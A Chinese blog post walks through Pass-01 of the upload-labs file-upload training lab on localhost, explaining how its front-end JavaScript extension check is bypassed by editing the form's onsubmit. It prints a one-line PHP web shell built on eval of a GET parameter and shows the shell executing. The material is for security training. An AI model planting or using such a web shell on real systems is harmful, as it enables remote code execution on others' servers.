c0ny1/upload-labs文件上传漏洞之前端JS检查-Pass-01


如前文所言,已搭建好c0ny1/upload-labs文件上传漏洞靶场

本文记录一下Pass-01,前端JS检查绕过。

打开http://localhost/Pass-01/index.php
右键,查看源码

<div id="upload_panel">
    <ol>
        <li>
            <h3>任务</h3>
            <p>上传一个<code>webshell</code>到服务器。</p>
        </li>
        <li>
            <h3>上传区</h3>
            <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
                <p>请选择要上传的图片:<p>
                <input class="input_file" type="file" name="upload_file"/>
                <input class="button" type="submit" name="submit" value="上传"/>
            </form>
            <div id="msg">
                            </div>
            <div id="img">
                            </div>
        </li>
            </ol>
</div>

发现onsubmit="return checkFile()",该表单的提交由前端JS方法checkFile()处理。

找到该方法

function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }

JavaScript lastIndexOf() 方法用来获取字符串中最后一个指定字符的位置。
JavaScript indexOf() 方法用来在一个字符串中查找指定的字符串。
可以看到,该方法会截取最后一个.之后的字符串当作文件后缀名,再在黑名单后缀中查找。

绕过方法很多。

这里直接在前端修改方法,浏览器右键>查看元素,把检查改成永远通过就行了。

onsubmit="return true;"

或者直接把onsubmit="return checkFile()"删了。

准备一个小马
cmd.php

<?php
eval($_GET["cmd"]);
?>

上传,显示 提示:../upload文件夹不存在,请手工创建!

这里是docker环境的问题,没有创建upload文件夹,需要手动创建。
进入docker

mkdir upload
chown www-data upload/
exit

再次上传,成功。
上传成功

浏览器访问小马http://localhost/upload/cmd.php?cmd=echo%201;
显示

1

成功。

声明:物博网|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - c0ny1/upload-labs文件上传漏洞之前端JS检查-Pass-01


喜欢安全与WEB开发